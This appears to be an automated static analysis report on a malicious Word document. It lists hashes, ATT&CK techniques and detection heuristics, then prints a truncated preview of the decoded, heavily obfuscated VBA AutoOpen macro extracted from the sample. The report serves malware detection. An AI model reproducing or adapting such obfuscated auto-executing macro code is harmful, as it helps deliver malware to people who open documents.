Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fa79c1b5cf5f0220…

MALICIOUS

Office (OLE)

166.8 KB Created: 2018-09-27 08:10:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 81b8f8313ea3d849ea5d74102cbbb868 SHA-1: 69b4087de970970451abffba560f99370a7bf184 SHA-256: fa79c1b5cf5f0220b2ad6fcff28bbfe66cebf0cc71e982f499ce343fe0a68265
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands, likely for downloading and running a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6699223-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6699223-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 120232 bytes
SHA-256: d13f981b365185dae6757c83666b2f63b821f7c37771f10d46392d76f2c208d3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CPVAjEz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim SntJf(1)
SntJf(0) = Left(JlODC + cdkcRpltVBAGMzEH + VBbispbC, 180) + InStrRev(Likqik + CjuYHDsDZPwuGbIuZz + kjlpzaP, CAHKbd + ozXdtVQIdOapczJrVpF + uAvtnOfw) + Right(kCGFqoQZ + AEZZtjMRwNjfiitcuzQlzs + sTDFQQ, 407) + Right(bWAECONp + WYWwtwuzkSZhnziszSJ + SZbYrjCv, 421)
   Dim tVWJRU(2)
tVWJRU(0) = InStrRev(DYBpMm + fzjiMdiUMXCPhpFXwa + cwnqTRk, KTXwpJV + spFwTGWCAGPipGWDmLNkzl + KXOfjHIi) + Right(jdjUQT + WbdQbWwdifEHLLiiUXH + WBWJs, 350) + InStr(AoORStwc + ddCfNWCVllPlPtaPNEL + ETvJsRi, jiwEr + GWJJIDzQvAVMSuRbuas + CiEBkESB) + InStrRev(GhCZdT + tzRNuQALnQtZNHdjBOM + izoBQVnH, zfZpkoB + iltpskRAnOjhTzbwvjAJ + OOsRtrAp)
tVWJRU(1) = Left(MpHvNjDn + wSMFLnCdViciZrAGvOq + HopfkP, 558) + InStr(zwvCnGGf + oUkKMooDjZBrwWzjRNs + fwjXDuAP, iAWicPw + jPzpAKjIwjwwCzhQlJjJ + NrcsURV) + InStr(lYhJiN + rRjflZwOhfpQzMnTMr + LLiQYzE, WwprC + tCtGkpzlTVzvTDkXT + AAJibTS) + Right(JPLZJz + WOciFbHDUimGiMCswBN + bFMhkTs, 424)
   Dim azotw(1)
azotw(0) = InStrRev(cirJONG + AnBcNXWKnAnzbpcWZiDcW + rrkjfWj, NFKBDdi + wpiHlYlkQOwlmfiaVH + Jwsji) + InStrRev(wEMUZB + GPHumPZCaZOXwDSiULs + KQUJjqFj, YKNNsrkN + FLvwATGSbYNiNvPwMUp + ZtHnark)
   Dim nlwkad(1)
nlwkad(0) = InStrRev(BOVUM + IjPzEvwmzjjQdazv + jHVNS, rImwcsZ + oObspJlwcHlkvXRbZukm + EiMlDl) + InStrRev(wliTY + ViQpBuNPjznmEcNckf + trcan, zFrEDPUz + wQzFEzdKhGGvdZXzYTUDa + vtcWkiAG)
   Dim HoLwH(1)
HoLwH(0) = InStr(wFZPu + rPpzSiZswwbDhuRCB + YqAjVsEV, LLXHDK + ChwMAtunXfzrwrwwiJVV + ZQrhC) + Left(avwuwMq + aFjqtiNXQENIzjLaPBNk + XwwtwiIb, 864) + InStrRev(ojNuCU + ZWRwSiZPFoNUWiOdclwl + QXsqjM, wUZFz + ZWsWEwBmrMoAckCkCL + jsHHVS) + InStrRev(kiSDOE + rTVGzYpbwsoizsFJ + PajRbbGY, YVqtiqa + URfXZfXDTKJOctloYt + zMTTNT)
   Dim bowVV(1)
bowVV(0) = InStrRev(WwQOXLfA + vUOcpPUYHjjjbKDYmAZH + VYKDONHL, PjamZLAz + qSpXzbbqWVmTqcQ + cUdfbqjR) + Right(zcFwADj + NmfUjBboSijjfVoJv + KcPXsH, 188)
   Dim KJlPTl(2)
KJlPTl(0) = InStr(joHPdvrL + SSLvLRSvNEjZwMljjmuTnzH + qIJGV, VcOwUzYv + zOJDrOqYMYwXzDEhDzOQ + JRCPjOwz) + Right(tiwzt + wwSXERujTOSojzCzoMpwZB + KrSFolTR, 391) + InStr(FAHVCu + NQvjlQwRHztVhTNOahV + Ntdwjrm, XJjOLhor + KWuzXWSpfKzrSsnAza + EwYnWrja) + InStrRev(UHGSvG + YwYiZhvtoBrpdqzwtA + FbXXs, whloCXUZ + GawrZQtRdcvHVnTCCtpjt + GVYSIR)
KJlPTl(1) = Right(nZdSjkHd + XBZPiFkWWOQrFluVwVLU + jTVnSuQ, 276) + InStrRev(quqqSi + EcWiYTbzHbMMjvmPNEbw + iIKuEDQN, oLAuBM + ImoKKmJfTtpciTtQEHEL + QTWusNBm)
   Dim zBBhd(1)
zBBhd(0) = Left(rrjZlED + KSLTHuKjjrCsVfOowt + ksfnbPQI, 953) + InStrRev(aYNuzjGr + jhHLnEFpOSiTaaTvQatJv + HkQHqC, BKYcn + TiiWrnTVDnUpYLFTw + HYQIPY) + InStr(BjkGG + ZNOURuEGpjMmTOpuaF + pODSBHL, dtmsEc + DVJTfMdfMVRMlZTFNcDvv + itadOm) + InStrRev(XjwPJC + WupMAsTNfWqBzIJdjQB + jzOpWOP, BjAFwVp + QiPuNJiHAZqvGjDii + QUEASZIJ)
   Dim CiBbuw(2)
CiBbuw(0) = InStrRev(qzzwzwR + vbwEkSMEiTqMrhnwXJL + CFMBic, FDwhfj + iPpOvpdpHQLSrrZBiXQi + tlJMzL) + Right(FotVpi + XjXMzHOMJGinjNrBEU + vOqNCz, 286) + InStr(pDAhKQXm + ApEWjjXNwdHHuzItLOzc + kVkVwTOh, cqsKifk + QhwGPjTtLiCNsOmrLfPZk + lEwPfirt) + InStrRev(nOUmd + WoaOwLQtsuDBoazOQ + ELUwZIz, ibuDv + mtkwmlwuAbZuoPojOtCmFQb + cGDQz)
CiBbuw(1) = Right(UfftS + BYjZWPSDNLchkHfzjNnw + vduIMzR, 986) + InStr(NZrEZ + DqEURaNAiVfRNcVzYirQudR + FqGYqYkF, dCjIP + UzmkDudnKMaKqzuGbzpt + PpzjrV) + InStrRev(wJUzJ + dlUNXfvQLNOInwfOoFfD + kZMhfsKs, MUjGrTYT + HTOziPpNrzhqXmGzTCWwom + BXVjMj) + InStrRev(RLMDQDQ + BiiIUkoVEbkUZrnWsKl + pVuWjhPm, mIjQhml + bYzwlAjYtmIQdoqMInopsp + nbFkG)
   Dim QAYwYl(1)
QAYwYl(0) = InStrRev(zTbmJr + qvNaDpPtSmznDjoDsSNs + jNfTdJin, FYSloL + FwJksYDVnPkdcWNKvPIH + imfRCOjJ) + InStrRev(VowVEva + YEtBipObMpwqzotlSY + URYoasF, UQouolAc + fwTpirLLBpWSpcFBojvMA + JrVDsI)
OjTKvqwGaZXi (KeyString(EiCvZ + SznYGil + 8 + 5 + 54 + HEluIk + APZTp) + QSdYp + TuWvi + KeyString(whwsG + jtsUlw + 9 + 6 + 62 + cLcXi + BN
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.